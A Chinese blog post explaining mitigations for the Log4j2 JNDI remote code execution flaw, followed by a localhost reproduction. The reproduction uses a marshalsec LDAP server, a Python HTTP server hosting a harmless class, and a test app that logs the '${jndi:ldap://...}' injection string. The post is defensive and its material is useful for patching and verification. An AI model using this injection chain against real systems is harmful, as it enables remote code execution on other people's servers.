log4j RCE 漏洞的缓解&验证方式

log4j 使用范围之广,Javaer 应该都接触过。

今天应该有不少人被 log4j2 的这个核弹级的 RCE 漏洞折磨了,看到有人半夜 1 点被叫起来进行修复。。。

目前已经确认 1.x 也受影响
CORRECTION: log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability
https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126

缓解方法

个人推荐比较方便的缓解方式为:
0. 系统环境变量配置JAVA_TOOL_OPTIONS=-Dlog4j2.formatMsgNoLookups=true(对于 2.0~2.10 版本,应先升级至 2.10+)


其他已知有效的缓解办法还有以下几个:

  1. 禁止没有必要的业务访问外网
  2. 升级依赖到 2.15.0,下载地址 https://search.maven.org/search?q=g:org.apache.logging.log4j
  3. 在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=True(>=2.9.1 以及之后版本)
  4. 设置 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true(对于 2.0~2.10 版本,应先升级至 2.10+,再增加 jvm 参数)
  5. JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  6. 覆盖 JndiLookup 类的实现,有人已经基于此思路提供了一个 patch https://github.com/Glavo/log4j-patch
  7. 可升级 jdk 版本至 6u211 / 7u201 / 8u191 / 11.0.1 以上,可以在一定程度上限制 JNDI 等漏洞利用方式(这些版本后就不能用 LDAP 进行远程类加载了,但是这只是排除了其中一部分风险,依旧可绕过,隐含拒绝服务攻击、利用远程文件写入进行 RCE 的风险)

至于网上普遍传的“将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true”并不可用,已实测完全无效。没想腾讯竟然如此不严谨

复现步骤

仅限自行验证使用,请勿他用
仅限自行验证使用,请勿他用
仅限自行验证使用,请勿他用

  1. 在一个文件夹(如 ~/remote)编写 Log4jRCE.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public class Log4jRCE {

    static {
    System.out.println("I am Log4jRCE from remote!!!");
    }

    public Log4jRCE(){
    System.out.println("I am Log4jRCE from remote222!!!");
    }
    }
  2. 编译 javac Log4jRCE.java

  3. 本地启动一个 http server,这里用的 python

    1
    2
    cd ~/remote
    python3 -m http.server 8888 --bind 127.0.0.1
  4. 搭建并启动一个 ldap 服务器

    1
    2
    3
    4
    git clone git@github.com:mbechler/marshalsec.git
    cd marshalsec
    mvn clean package -DskipTests
    java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
  5. 在另一个文件夹中(如 ~/log4j-rce-poc)编写测试应用
    pom

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
    </dependency>

    src

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");

    }
    }

参考:


log4j RCE 漏洞的缓解&验证方式
https://www.haoyizebo.com/posts/ff226ce/
作者
一博
发布于
2021年12月10日
许可协议